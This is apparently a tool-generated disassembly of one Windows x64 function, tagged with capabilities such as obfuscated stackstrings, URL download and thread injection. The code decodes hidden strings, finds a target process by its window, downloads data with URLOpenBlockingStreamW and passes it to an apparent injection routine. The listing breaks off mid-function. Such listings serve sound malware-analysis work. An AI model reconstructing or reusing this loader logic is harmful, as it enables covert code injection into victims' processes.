Function at 0x140001320
Capabilities:
Contain obfuscated stackstrings
Create thread
Download url
Inject thread
Receive data
Set console window title

Disassembly:
push rbp
mov eax, 0x13d0
call fcn.140036070
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1348], 0xfffffffffffffffe
mov dword [rbp + 0x1344], 0
call fcn.14000f600
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x1338], rax
mov rcx, qword [rbp + 0x1338]
mov rax, qword [sym.imp.USER32.dll_GetWindowLongA]
mov edx, 0xffffffec
mov dword [rbp + 0x450], edx
call rax
mov edx, dword [rbp + 0x450]
mov dword [rbp + 0x1334], eax
mov r8d, dword [rbp + 0x1334]
or r8d, 0x80000
mov rcx, qword [rbp + 0x1338]
mov rax, qword [sym.imp.USER32.dll_SetWindowLongA]
call rax
mov rcx, qword [rbp + 0x1338]
mov rax, qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
xor edx, edx
mov dword [rbp + 0x47c], edx
mov r8b, 0xf7
mov r9d, 2
call rax
movups xmm0, xmmword [0x14005a704]
movaps xmmword [rbp + 0x1320], xmm0
movups xmm0, xmmword [0x14005a6f4]
movaps xmmword [rbp + 0x1310], xmm0
mov word [rbp + 0x1330], 0x74
lea rcx, [rbp + 0x1310]
mov edx, 0x11
call fcn.14000ec40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov ecx, 0xfde9
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rbp + 0x458], rax
mov ecx, 0xfffffff5
mov dword [rbp + 0x454], ecx
call rax
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov qword [rbp + 0x460], rax
mov dx, 9
call rax
movups xmm0, xmmword [0x14005a725]
movups xmmword [rbp + 0x12ff], xmm0
movups xmm0, xmmword [0x14005a716]
movaps xmmword [rbp + 0x12f0], xmm0
lea rcx, [rbp + 0x12f0]
mov edx, 0x1f
call fcn.14000eb50
mov rdx, rax
lea rcx, [0x140077840]
mov qword [rbp + 0x468], rcx
call fcn.140003c70
mov rcx, rax
lea rdx, [0x140003fc0]
mov qword [rbp + 0x470], rdx
call fcn.140003fa0
mov ecx, dword [rbp + 0x454]
mov rax, qword [rbp + 0x458]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x460]
mov dx, 0xf
call rax
movabs rax, 0x64160c137d021700
mov qword [rbp + 0x12df], rax
movups xmm0, xmmword [0x14005a735]
movaps xmmword [rbp + 0x12d0], xmm0
lea rcx, [rbp + 0x12d0]
mov edx, 0x17
call fcn.14000eb50
mov rcx, qword [rbp + 0x468]
mov rdx, rax
call fcn.140003c70
mov rdx, qword [rbp + 0x470]
mov rcx, rax
call fcn.140003fa0
movups xmm0, xmmword [0x14005a75c]
movaps xmmword [rbp + 0x12b0], xmm0
movups xmm0, xmmword [0x14005a74c]
movaps xmmword [rbp + 0x12a0], xmm0
mov word [rbp + 0x12c0], 0x5338
lea rcx, [rbp + 0x12a0]
mov edx, 0x22
call fcn.14000eb50
mov rcx, qword [rbp + 0x468]
mov rdx, rax
call fcn.140003c70
mov rdx, qword [rbp + 0x470]
mov rcx, rax
call fcn.140003fa0
mov eax, dword [rbp + 0x47c]
mov ecx, eax
call fcn.14000ec80
mov rcx, rax
inc rcx
add rcx, rcx
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400360c0
mov qword [rbp + 0x1298], rax
mov rcx, qword [rbp + 0x1298]
call fcn.14000ec80
movabs rax, 0x53003f0054000e
mov qword [rbp + 0x127e], rax
movups xmm0, xmmword [0x14005a77e]
movaps xmmword [rbp + 0x1270], xmm0
movups xmm0, xmmword [0x14005a76e]
movaps xmmword [rbp + 0x1260], xmm0
lea rcx, [rbp + 0x1260]
mov edx, 0x13
call fcn.14000ec40
mov qword [rbp + 0x1290], rax
lea rcx, [rbp + 0x1240]
call fcn.140004070
mov dword [rbp + 0x123c], 0
movups xmm0, xmmword [0x14005a7de]
movups xmmword [rbp + 0xffa], xmm0
movups xmm0, xmmword [0x14005a7d4]
movaps xmmword [rbp + 0xff0], xmm0
movups xmm0, xmmword [0x14005a7c4]
movaps xmmword [rbp + 0xfe0], xmm0
movups xmm0, xmmword [0x14005a7b4]
movaps xmmword [rbp + 0xfd0], xmm0
movups xmm0, xmmword [0x14005a7a4]
movaps xmmword [rbp + 0xfc0], xmm0
movups xmm0, xmmword [0x14005a794]
movaps xmmword [rbp + 0xfb0], xmm0
lea rcx, [rbp + 0xfb0]
mov edx, 0x2d
call fcn.14000ec40
mov qword [rbp + 0x480], rax
jmp 0x140001667
mov rdx, qword [rbp + 0x480]
lea rcx, [rbp + 0x1010]
call fcn.1400040a0
jmp 0x14000167f
mov rdx, qword [rbp + 0x1298]
lea rcx, [rbp + 0x1010]
call fcn.140004120
jmp 0x140001697
mov word [rbp + 0xfa6], 0x5b
mov word [rbp + 0xfa8], 8
mov word [rbp + 0xfaa], 8
mov word [rbp + 0xfac], 0x1f
mov word [rbp + 0xfae], 0x68
lea rcx, [rbp + 0xfa6]
mov edx, 5
call fcn.14000ec40
mov qword [rbp + 0x448], rax
jmp 0x1400016e1
mov rdx, qword [rbp + 0x448]
lea rcx, [rbp + 0x1010]
call fcn.140004120
jmp 0x1400016f9
movups xmm0, xmmword [0x14005a82e]
movaps xmmword [rbp + 0xf60], xmm0
movups xmm0, xmmword [0x14005a81e]
movaps xmmword [rbp + 0xf50], xmm0
movups xmm0, xmmword [0x14005a80e]
movaps xmmword [rbp + 0xf40], xmm0
movups xmm0, xmmword [0x14005a7fe]
movaps xmmword [rbp + 0xf30], xmm0
movups xmm0, xmmword [0x14005a7ee]
movaps xmmword [rbp + 0xf20], xmm0
mov word [rbp + 0xf70], 0x75
lea rcx, [rbp + 0xf20]
mov edx, 0x29
call fcn.14000ec40
mov qword [rbp + 0x440], rax
jmp 0x140001765
mov rdx, qword [rbp + 0x440]
lea rcx, [rbp + 0xf80]
call fcn.1400040a0
jmp 0x14000177d
mov byte [rbp + 0xf1f], 0
mov rdx, qword [rbp + 0x1290]
mov rax, qword [sym.imp.USER32.dll_FindWindowW]
xor ecx, ecx
call rax
mov qword [rbp + 0x438], rax
jmp 0x1400017a2
mov rax, qword [rbp + 0x438]
mov qword [rbp + 0xf10], rax
cmp qword [rbp + 0xf10], 0
jne 0x140001a57
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x430], rax
jmp 0x1400017d8
mov rcx, qword [rbp + 0x430]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xc
call rax
jmp 0x1400017f1
mov byte [rbp + 0xf0e], 0x7f
mov byte [rbp + 0xf0f], 0x6c
lea rcx, [rbp + 0xf0e]
mov edx, 2
call fcn.14000eb50
mov qword [rbp + 0x428], rax
jmp 0x14000181c
mov rdx, qword [rbp + 0x428]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0x420], rax
jmp 0x14000183b
movups xmm0, xmmword [0x14005a860]
movaps xmmword [rbp + 0xef0], xmm0
movups xmm0, xmmword [0x14005a850]
movaps xmmword [rbp + 0xee0], xmm0
movups xmm0, xmmword [0x14005a840]
movaps xmmword [rbp + 0xed0], xmm0
lea rcx, [rbp + 0xed0]
mov edx, 0x30
call fcn.14000eb50
mov qword [rbp + 0x418], rax
jmp 0x140001882
mov rdx, qword [rbp + 0x418]
mov rcx, qword [rbp + 0x420]
call fcn.140003c70
mov qword [rbp + 0x410], rax
jmp 0x1400018a1
mov rcx, qword [rbp + 0x410]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x1400018b9
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x408], rax
jmp 0x1400018d3
mov rcx, qword [rbp + 0x408]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xc
call rax
jmp 0x1400018ec
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x400], rax
jmp 0x140001906
mov rcx, qword [rbp + 0x400]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xf
call rax
jmp 0x14000191f
lea rdx, [0x14005a870]
lea rcx, [rbp + 0xe32]
mov qword [rbp + 0x3e8], rcx
mov r8d, 0x9e
mov qword [rbp + 0x3f0], r8
call fcn.140056bd0
mov rcx, qword [rbp + 0x3e8]
mov rdx, qword [rbp + 0x3f0]
call fcn.14000eb50
mov qword [rbp + 0x3f8], rax
jmp 0x140001965
mov rdx, qword [rbp + 0x3f8]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0x3e0], rax
jmp 0x140001984
mov byte [rbp + 0xe30], 0x7f
mov byte [rbp + 0xe31], 0x6c
lea rcx, [rbp + 0xe30]
mov edx, 2
call fcn.14000eb50
mov qword [rbp + 0x3d8], rax
jmp 0x1400019af
mov rdx, qword [rbp + 0x3d8]
mov rcx, qword [rbp + 0x3e0]
call fcn.140003c70
mov qword [rbp + 0x3d0], rax
jmp 0x1400019ce
mov rcx, qword [rbp + 0x3d0]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x1400019e6
mov byte [rbp + 0xe2a], 5
mov byte [rbp + 0xe2b], 0xd
mov byte [rbp + 0xe2c], 0x11
mov byte [rbp + 0xe2d], 0
mov byte [rbp + 0xe2e], 0xd
mov byte [rbp + 0xe2f], 0x4f
lea rcx, [rbp + 0xe2a]
mov edx, 6
call fcn.14000eb50
mov qword [rbp + 0x3c8], rax
jmp 0x140001a2d
mov rcx, qword [rbp + 0x3c8]
call fcn.14003ffb8
jmp 0x140001a3e
mov dword [rbp + 0x1344], 1
mov dword [rbp + 0xe24], 1
jmp 0x140003a87
mov rcx, qword [rbp + 0xf10]
mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
lea rdx, [rbp + 0x123c]
call rax
jmp 0x140001a73
mov rcx, qword [rbp + 0xf10]
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001a88
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x3c0], rax
jmp 0x140001aa2
mov rcx, qword [rbp + 0x3c0]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 9
call rax
jmp 0x140001abb
mov byte [rbp + 0xe22], 0x7f
mov byte [rbp + 0xe23], 0x6c
lea rcx, [rbp + 0xe22]
mov edx, 2
call fcn.14000eb50
mov qword [rbp + 0x3b8], rax
jmp 0x140001ae6
mov rdx, qword [rbp + 0x3b8]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0x3b0], rax
jmp 0x140001b05
movups xmm0, xmmword [0x14005a91d]
movups xmmword [rbp + 0xe0f], xmm0
movups xmm0, xmmword [0x14005a90e]
movaps xmmword [rbp + 0xe00], xmm0
lea rcx, [rbp + 0xe00]
mov edx, 0x1f
call fcn.14000eb50
mov qword [rbp + 0x3a8], rax
jmp 0x140001b3e
mov rdx, qword [rbp + 0x3a8]
mov rcx, qword [rbp + 0x3b0]
call fcn.140003c70
mov qword [rbp + 0x3a0], rax
jmp 0x140001b5d
mov byte [rbp + 0xdfe], 0x7f
mov byte [rbp + 0xdff], 0x6c
lea rcx, [rbp + 0xdfe]
mov edx, 2
call fcn.14000eb50
mov qword [rbp + 0x398], rax
jmp 0x140001b88
mov rdx, qword [rbp + 0x398]
mov rcx, qword [rbp + 0x3a0]
call fcn.140003c70
mov qword [rbp + 0x390], rax
jmp 0x140001ba7
mov rcx, qword [rbp + 0x390]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x140001bbf
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x388], rax
jmp 0x140001bd9
mov rcx, qword [rbp + 0x388]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xe
call rax
jmp 0x140001bf2
mov byte [rbp + 0xdf2], 0x55
mov byte [rbp + 0xdf3], 0x37
mov byte [rbp + 0xdf4], 0x4e
mov byte [rbp + 0xdf5], 0x2e
mov byte [rbp + 0xdf6], 0x48
mov byte [rbp + 0xdf7], 8
mov byte [rbp + 0xdf8], 0x2f
mov byte [rbp + 0xdf9], 0x21
mov byte [rbp + 0xdfa], 0x3c
mov byte [rbp + 0xdfb], 0x72
mov byte [rbp + 0xdfc], 0x61
mov byte [rbp + 0xdfd], 0x43
lea rcx, [rbp + 0xdf2]
mov edx, 0xc
call fcn.14000eb50
mov qword [rbp + 0x380], rax
jmp 0x140001c63
mov rdx, qword [rbp + 0x380]
lea rcx, [0x140077840]
call fcn.140003c70
jmp 0x140001c7b
mov rdx, qword [rbp + 0x1290]
lea rcx, [0x140077960]
call fcn.140004150
mov qword [rbp + 0x378], rax
jmp 0x140001c9a
mov word [rbp + 0xdee], 0x7f
mov word [rbp + 0xdf0], 0x6c
lea rcx, [rbp + 0xdee]
mov edx, 2
call fcn.14000ec40
mov qword [rbp + 0x370], rax
jmp 0x140001cc9
mov rdx, qword [rbp + 0x370]
mov rcx, qword [rbp + 0x378]
call fcn.140004150
jmp 0x140001ce1
mov byte [rbp + 0xddf], 0x55
mov byte [rbp + 0xde0], 0x37
mov byte [rbp + 0xde1], 0x4e
mov byte [rbp + 0xde2], 0x2e
mov byte [rbp + 0xde3], 0x48
mov byte [rbp + 0xde4], 0x19
mov byte [rbp + 0xde5], 0x2b
mov byte [rbp + 0xde6], 0x3e
mov byte [rbp + 0xde7], 0x2a
mov byte [rbp + 0xde8], 0x21
mov byte [rbp + 0xde9], 0x2e
mov byte [rbp + 0xdea], 0x2d
mov byte [rbp + 0xdeb], 0x71
mov byte [rbp + 0xdec], 0x73
mov byte [rbp + 0xded], 0x6f
lea rcx, [rbp + 0xddf]
mov edx, 0xf
call fcn.14000eb50
mov qword [rbp + 0x368], rax
jmp 0x140001d67
mov rdx, qword [rbp + 0x368]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0x360], rax
jmp 0x140001d86
mov byte [rbp + 0xdda], 0x44
mov byte [rbp + 0xddb], 0x42
mov byte [rbp + 0xddc], 0x52
mov byte [rbp + 0xddd], 0x4b
mov byte [rbp + 0xdde], 0x68
lea rcx, [rbp + 0xdda]
mov edx, 5
call fcn.14000eb50
mov qword [rbp + 0x358], rax
jmp 0x140001dc6
mov rdx, qword [rbp + 0x358]
mov rcx, qword [rbp + 0x360]
call fcn.140003c70
mov qword [rbp + 0x350], rax
jmp 0x140001de5
mov rcx, qword [rbp + 0x350]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x140001dfd
mov byte [rbp + 0xdcd], 0x55
mov byte [rbp + 0xdce], 0x37
mov byte [rbp + 0xdcf], 0x4e
mov byte [rbp + 0xdd0], 0x2e
mov byte [rbp + 0xdd1], 0x48
mov byte [rbp + 0xdd2], 0xd
mov byte [rbp + 0xdd3], 0x3b
mov byte [rbp + 0xdd4], 0x25
mov byte [rbp + 0xdd5], 0x35
mov byte [rbp + 0xdd6], 0x2c
mov byte [rbp + 0xdd7], 0x7b
mov byte [rbp + 0xdd8], 0x63
mov byte [rbp + 0xdd9], 0x4b
lea rcx, [rbp + 0xdcd]
mov edx, 0xd
call fcn.14000eb50
mov qword [rbp + 0x348], rax
jmp 0x140001e75
mov rdx, qword [rbp + 0x348]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0x340], rax
jmp 0x140001e94
mov byte [rbp + 0xdc8], 0x46
mov byte [rbp + 0xdc9], 0x5d
mov byte [rbp + 0xdca], 0x53
mov byte [rbp + 0xdcb], 0x4a
mov byte [rbp + 0xdcc], 0x68
lea rcx, [rbp + 0xdc8]
mov edx, 5
call fcn.14000eb50
mov qword [rbp + 0x338], rax
jmp 0x140001ed4
mov rdx, qword [rbp + 0x338]
mov rcx, qword [rbp + 0x340]
call fcn.140003c70
mov qword [rbp + 0x330], rax
jmp 0x140001ef3
mov rcx, qword [rbp + 0x330]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x140001f0b
mov byte [rbp + 0xdbb], 0x7f
mov byte [rbp + 0xdbc], 0x4c
mov byte [rbp + 0xdbd], 0x3f
mov byte [rbp + 0xdbe], 0x59
mov byte [rbp + 0xdbf], 0x35
mov byte [rbp + 0xdc0], 0x6f
mov byte [rbp + 0xdc1], 3
mov byte [rbp + 0xdc2], 0x29
mov byte [rbp + 0xdc3], 0x37
mov byte [rbp + 0xdc4], 0x3d
mov byte [rbp + 0xdc5], 0x7b
mov byte [rbp + 0xdc6], 0x63
mov byte [rbp + 0xdc7], 0x4b
lea rcx, [rbp + 0xdbb]
mov edx, 0xd
call fcn.14000eb50
mov qword [rbp + 0x328], rax
jmp 0x140001f83
mov rdx, qword [rbp + 0x328]
lea rcx, [0x140077840]
call fcn.140003c70
jmp 0x140001f9b
mov rdx, qword [rbp + 0x1298]
lea rcx, [0x140077960]
call fcn.140004150
mov qword [rbp + 0x320], rax
jmp 0x140001fba
mov rcx, qword [rbp + 0x320]
lea rdx, [0x140004490]
call fcn.140003fa0
jmp 0x140001fd2
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x318], rax
jmp 0x140001fec
mov rcx, qword [rbp + 0x318]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 9
call rax
jmp 0x140002005
movups xmm0, xmmword [0x14005a93c]
movups xmmword [rbp + 0xd9f], xmm0
movups xmm0, xmmword [0x14005a92d]
movaps xmmword [rbp + 0xd90], xmm0
lea rcx, [rbp + 0xd90]
mov edx, 0x1f
call fcn.14000eb50
mov qword [rbp + 0x310], rax
jmp 0x14000203e
mov rdx, qword [rbp + 0x310]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0x308], rax
jmp 0x14000205d
mov byte [rbp + 0xd8e], 0x7f
mov byte [rbp + 0xd8f], 0x6c
lea rcx, [rbp + 0xd8e]
mov edx, 2
call fcn.14000eb50
mov qword [rbp + 0x300], rax
jmp 0x140002088
mov rdx, qword [rbp + 0x300]
mov rcx, qword [rbp + 0x308]
call fcn.140003c70
mov qword [rbp + 0x2f8], rax
jmp 0x1400020a7
mov rcx, qword [rbp + 0x2f8]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x1400020bf
lea rcx, [rbp + 0xd68]
call fcn.1400044f0
movabs rax, 0x6b2301044f163620
mov qword [rbp + 0xd60], rax
movups xmm0, xmmword [0x14005a95c]
movaps xmmword [rbp + 0xd50], xmm0
movups xmm0, xmmword [0x14005a94c]
movaps xmmword [rbp + 0xd40], xmm0
lea rcx, [rbp + 0xd40]
mov edx, 0x28
call fcn.14000eb50
mov qword [rbp + 0x2f0], rax
jmp 0x140002115
mov rcx, qword [rbp + 0x2f0]
call fcn.14003ffb8
jmp 0x140002126
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x2e8], rax
jmp 0x140002140
mov rcx, qword [rbp + 0x2e8]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xf
call rax
jmp 0x140002159
movups xmm0, xmmword [0x14005a97f]
movups xmmword [rbp + 0xd2b], xmm0
movups xmm0, xmmword [0x14005a974]
movaps xmmword [rbp + 0xd20], xmm0
lea rcx, [rbp + 0xd20]
mov edx, 0x1b
call fcn.14000eb50
mov qword [rbp + 0x2e0], rax
jmp 0x140002192
mov rdx, qword [rbp + 0x2e0]
lea rcx, [0x140077840]
call fcn.140003c70
jmp 0x1400021aa
lea rcx, [0x140077b30]
lea rdx, [rbp + 0xd68]
call fcn.140004520
jmp 0x1400021c2
lea rcx, [rbp + 0xf80]
lea rdx, [rbp + 0xd68]
call fcn.140004860
jmp 0x1400021da
lea rcx, [rbp + 0xd00]
call fcn.140004070
lea rcx, [rbp + 0xf80]
call fcn.140004890
mov rdx, rax
mov rax, rsp
mov qword [rax + 0x20], 0
xor r9d, r9d
mov ecx, r9d
lea r8, [rbp + 0xcf8]
call sub.urlmon.dll_URLOpenBlockingStreamW
mov dword [rbp + 0x2dc], eax
jmp 0x14000221d
mov eax, dword [rbp + 0x2dc]
cmp eax, 0
jne 0x140002581
jmp 0x140002231
mov rcx, qword [rbp + 0xcf8]
mov rax, qword [rcx]
mov rax, qword [rax + 0x18]
lea rdx, [rbp + 0xb00]
mov r8d, 0x1f4
lea r9, [rbp + 0xafc]
call rax
mov dword [rbp + 0x2d8], eax
jmp 0x140002260
mov ecx, dword [rbp + 0x2d8]
xor eax, eax
cmp ecx, 0
mov byte [rbp + 0x2d7], al
jne 0x140002287
cmp dword [rbp + 0xafc], 0
seta al
mov byte [rbp + 0x2d7], al
mov al, byte [rbp + 0x2d7]
test al, 1
jne 0x14000229a
jmp 0x1400022c0
mov eax, dword [rbp + 0xafc]
mov r8d, eax
lea rcx, [rbp + 0xd00]
lea rdx, [rbp + 0xb00]
call fcn.1400048b0
jmp 0x1400022bb
jmp 0x140002231
mov rcx, qword [rbp + 0xcf8]
mov rax, qword [rcx]
mov rax, qword [rax + 0x10]
call rax
jmp 0x1400022d5
mov byte [rbp + 0xaf6], 0x23
mov byte [rbp + 0xaf7], 0x2d
mov byte [rbp + 0xaf8], 0x28
mov byte [rbp + 0xaf9], 0x3a
mov byte [rbp + 0xafa], 0x2c
mov byte [rbp + 0xafb], 0x4f
lea rcx, [rbp + 0xaf6]
mov edx, 6
call fcn.14000eb50
mov qword [rbp + 0x2c8], rax
jmp 0x14000231c
mov rdx, qword [rbp + 0x2c8]
lea rcx, [rbp + 0xd00]
call fcn.140004010
test al, 1
jne 0x14000233c
jmp 0x1400023df
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x2c0], rax
jmp 0x140002356
mov rcx, qword [rbp + 0x2c0]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xa
call rax
jmp 0x14000236f
movups xmm0, xmmword [0x14005a98f]
movaps xmmword [rbp + 0xae0], xmm0
mov word [rbp + 0xaf0], 0x697e
lea rcx, [rbp + 0xae0]
mov edx, 0x12
call fcn.14000eb50
mov qword [rbp + 0x2b8], rax
jmp 0x1400023a3
mov rdx, qword [rbp + 0x2b8]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0x2b0], rax
jmp 0x1400023c2
mov rcx, qword [rbp + 0x2b0]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x1400023da
jmp 0x140002581
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x2a8], rax
jmp 0x1400023f9
mov rcx, qword [rbp + 0x2a8]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xc
call rax
jmp 0x140002412
movups xmm0, xmmword [0x14005a9ae]
movups xmmword [rbp + 0xacd], xmm0
movups xmm0, xmmword [0x14005a9a1]
movaps xmmword [rbp + 0xac0], xmm0
lea rcx, [rbp + 0xac0]
mov edx, 0x1d
call fcn.14000eb50
mov qword [rbp + 0x2a0], rax
jmp 0x14000244b
mov rdx, qword [rbp + 0x2a0]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0x298], rax
jmp 0x14000246a
mov rcx, qword [rbp + 0x298]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x140002482
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x290], rax
jmp 0x14000249c
mov rcx, qword [rbp + 0x290]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xf
call rax
jmp 0x1400024b5
movups xmm0, xmmword [0x14005a9ce]
movaps xmmword [rbp + 0xaa0], xmm0
movups xmm0, xmmword [0x14005a9be]
movaps xmmword [rbp + 0xa90], xmm0
movabs rax, 0x6b2301044f163620
mov qword [rbp + 0xab0], rax
lea rcx, [rbp + 0xa90]
mov edx, 0x28
call fcn.14000eb50
mov qword [rbp + 0x288], rax
jmp 0x1400024ff
mov rcx, qword [rbp + 0x288]
call fcn.14003ffb8
jmp 0x140002510
mov byte [rbp + 0xa8a], 5
mov byte [rbp + 0xa8b], 0xd
mov byte [rbp + 0xa8c], 0x11
mov byte [rbp + 0xa8d], 0
mov byte [rbp + 0xa8e], 0xd
mov byte [rbp + 0xa8f], 0x4f
lea rcx, [rbp + 0xa8a]
mov edx, 6
call fcn.14000eb50
mov qword [rbp + 0x280], rax
jmp 0x140002557
mov rcx, qword [rbp + 0x280]
call fcn.14003ffb8
jmp 0x140002568
mov dword [rbp + 0x1344], 1
mov dword [rbp + 0xe24], 1
jmp 0x140003a6a
lea rcx, [rbp + 0xa68]
lea rdx, [rbp + 0x1240]
call fcn.140004990
jmp 0x140002599
mov ecx, dword [rbp + 0x123c]
lea rdx, [rbp + 0xa68]
call section..text
mov byte [rbp + 0x27f], al
jmp 0x1400025b6
mov al, byte [rbp + 0x27f]
test al, 1
jne 0x1400025c9
jmp 0x14000263a
mov byte [rbp + 0xa62], 5
mov byte [rbp + 0xa63], 0xd
mov byte [rbp + 0xa64], 0x11
mov byte [rbp + 0xa65], 0
mov byte [rbp + 0xa66], 0xd
mov byte [rbp + 0xa67], 0x4f
lea rcx, [rbp + 0xa62]
mov edx, 6
call fcn.14000eb50
mov qword [rbp + 0x270], rax
jmp 0x140002610
mov rcx, qword [rbp + 0x270]
call fcn.14003ffb8
jmp 0x140002621
mov dword [rbp + 0x1344], 1
mov dword [rbp + 0xe24], 1
jmp 0x140003a6a
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x268], rax
jmp 0x140002654
mov rcx, qword [rbp + 0x268]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xb
call rax
jmp 0x14000266d
movups xmm0, xmmword [0x14005a9ff]
movups xmmword [rbp + 0xa49], xmm0
movups xmm0, xmmword [0x14005a9f6]
movaps xmmword [rbp + 0xa40], xmm0
movups xmm0, xmmword [0x14005a9e6]
movaps xmmword [rbp + 0xa30], xmm0
lea rcx, [rbp + 0xa30]
mov edx, 0x29
call fcn.14000eb50
mov qword [rbp + 0x260], rax
jmp 0x1400026b4
mov rdx, qword [rbp + 0x260]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0x258], rax
jmp 0x1400026d3
mov rcx, qword [rbp + 0x258]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x1400026eb
movups xmm0, xmmword [0x14005aa0f]
movaps xmmword [rbp + 0x9f0], xmm0
movabs rax, 0x7537210c1000001f
mov qword [rbp + 0x9fd], rax
lea rcx, [rbp + 0x9f0]
mov edx, 0x15
call fcn.14000eb50
mov qword [rbp + 0x250], rax
jmp 0x140002727
mov rax, qword [rbp + 0x250]
mov qword [rbp + 0xa08], rax
lea rcx, [rbp + 0xa10]
lea rdx, [rbp + 0xa08]
xor r8d, r8d
call fcn.140004a60
jmp 0x140002750
lea rcx, [rbp + 0xa10]
call fcn.140004a30
mov byte [rbp + 0x24f], al
jmp 0x140002767
mov al, byte [rbp + 0x24f]
xor al, 0xff
mov byte [rbp + 0x24e], al
lea rcx, [rbp + 0xa10]
call fcn.140004aa0
mov al, byte [rbp + 0x24e]
test al, 1
jne 0x140002794
jmp 0x140002a83
movups xmm0, xmmword [0x14005aa24]
movaps xmmword [rbp + 0x9b0], xmm0
movabs rax, 0x7537210c1000001f
mov qword [rbp + 0x9bd], rax
lea rcx, [rbp + 0x9b0]
mov edx, 0x15
call fcn.14000eb50
mov qword [rbp + 0x240], rax
jmp 0x1400027d0
mov rax, qword [rbp + 0x240]
mov qword [rbp + 0x9c8], rax
lea rcx, [rbp + 0x9d0]
lea rdx, [rbp + 0x9c8]
xor r8d, r8d
call fcn.140004a60
jmp 0x1400027f9
lea rcx, [rbp + 0x9d0]
call fcn.140004ac0
mov byte [rbp + 0x23f], al
jmp 0x140002810
mov al, byte [rbp + 0x23f]
xor al, 0xff
mov byte [rbp + 0x23e], al
lea rcx, [rbp + 0x9d0]
call fcn.140004aa0
mov al, byte [rbp + 0x23e]
test al, 1
jne 0x14000283d
jmp 0x140002a7e
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x230], rax
jmp 0x140002857
mov rcx, qword [rbp + 0x230]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xc
call rax
jmp 0x140002870
movups xmm0, xmmword [0x14005aa69]
movaps xmmword [rbp + 0x9a0], xmm0
movups xmm0, xmmword [0x14005aa59]
movaps xmmword [rbp + 0x990], xmm0
movups xmm0, xmmword [0x14005aa49]
movaps xmmword [rbp + 0x980], xmm0
movups xmm0, xmmword [0x14005aa39]
movaps xmmword [rbp + 0x970], xmm0
lea rcx, [rbp + 0x970]
mov edx, 0x40
call fcn.14000eb50
mov qword [rbp + 0x228], rax
jmp 0x1400028c5
mov rdx, qword [rbp + 0x228]
lea rcx, [0x140077710]
call fcn.140003c70
